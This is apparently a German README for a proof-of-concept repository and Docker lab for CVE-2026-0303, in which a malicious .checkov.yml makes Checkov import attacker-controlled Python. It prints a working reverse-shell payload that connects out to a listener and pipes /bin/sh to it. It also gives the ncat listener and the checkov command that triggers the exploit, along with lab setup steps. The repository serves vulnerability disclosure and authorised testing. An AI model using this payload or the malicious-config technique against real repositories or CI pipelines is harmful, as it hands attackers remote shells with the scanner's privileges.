
Proof-of-Concept und Docker-Lab für CVE-2026-0303, das beliebige Codeausführung in Checkov über eine automatisch geladene .checkov.yml demonstriert, die auf einen vom Angreifer kontrollierten externen Check verweist.
CVE: CVE-2026-0303 | CVSS-Basis: 6.3 | Schweregrad: Niedrig
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 – Schwachstelle zur Ausführung beliebigen Codes in Checkov.
Veröffentlicht von Palo Alto Networks am 9. September 2026.
Betroffene Versionen: Checkov 3.2.0 bis 3.2.531
Behobene Version: Checkov 3.2.532
Ausführung beliebigen Codes in Checkov über eine automatisch geladene .checkov.yml-Datei
-> Ausführung von angreifergesteuertem Python über einen nicht signierten externen benutzerdefinierten
Check.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov unterstützt externe Python-Checks. Diese Checks werden absichtlich als Python-Module geladen, was bedeutet, dass Python-Anweisungen auf oberster Ebene während des Modulimports ausgeführt werden.
Wenn Checkov ein Verzeichnis scannt, sucht es automatisch in diesem Verzeichnis nach einer
.checkov.yml- oder .checkov.yaml-Konfigurationsdatei. Eine
angreifergesteuerte Konfigurationsdatei könnte external-checks-dir auf ein
Verzeichnis innerhalb des gescannten Repositorys setzen.
Dadurch entsteht die folgende Ausführungskette:
Opfer scannt ein nicht vertrauenswürdiges Repository
->
Checkov lädt automatisch .checkov.yml
->
Die Konfiguration setzt external-checks-dir
->
Checkov importiert ein angreifergesteuertes Python-Modul
->
Python-Code auf oberster Ebene wird mit den Rechten von Checkov ausgeführt
Der Angreifer muss weder den Terraform-Parser ausnutzen noch eine gültige Checkov-Richtlinie bereitstellen. Die Codeausführung erfolgt, wenn Checkov die Python-Datei importiert.
Dies ist besonders relevant für CI-Pipelines, die Checkov automatisch gegen Pull Requests oder andere nicht vertrauenswürdige Repository-Inhalte ausführen.
Der Lab-Payload stellt eine Verbindung vom Checkov-Container zu einem Listener auf dem Host her:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Ändern Sie den Payload unter exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Starten Sie einen Listener auf dem Host:
ncat -lvkp 4444
Lösen Sie das verwundbare Verhalten aus, indem Sie das angreifergesteuerte Verzeichnis scannen:
checkov -d /workspace --framework terraform --skip-download
Checkov liest automatisch /workspace/.checkov.yml, entdeckt das externe
Check-Verzeichnis und importiert poc_check.py. Der Listener sollte die
Shell empfangen, wenn der Aufruf exploit() auf Modulebene ausgeführt wird.
Ich habe ein einfaches Docker-Lab bereitgestellt, das Sie über
docker compose up -d
einrichten und über
docker exec -it scan-server /bin/sh
mit dessen Shell verbinden können.
Dieses Repository enthält einen unabhängigen Proof of Concept für CVE-2026-0303. Die Schwachstelle wurde in einer isolierten Laborumgebung nachgestellt und getestet.
Dieses Projekt ist ausschließlich für autorisierte Sicherheitsforschung, Schulung und Tests in isolierten Umgebungen gedacht. Verwenden Sie es nicht gegen Systeme, Netzwerke, Repositories oder Daten ohne ausdrückliche Genehmigung des Eigentümers.
Der Autor stellt dieses Projekt ohne jegliche Gewährleistung bereit und übernimmt keine Verantwortung für Schäden, Datenverlust, Dienstunterbrechungen, unbefugten Zugriff oder Missbrauch dieser Software oder ihrer Derivate.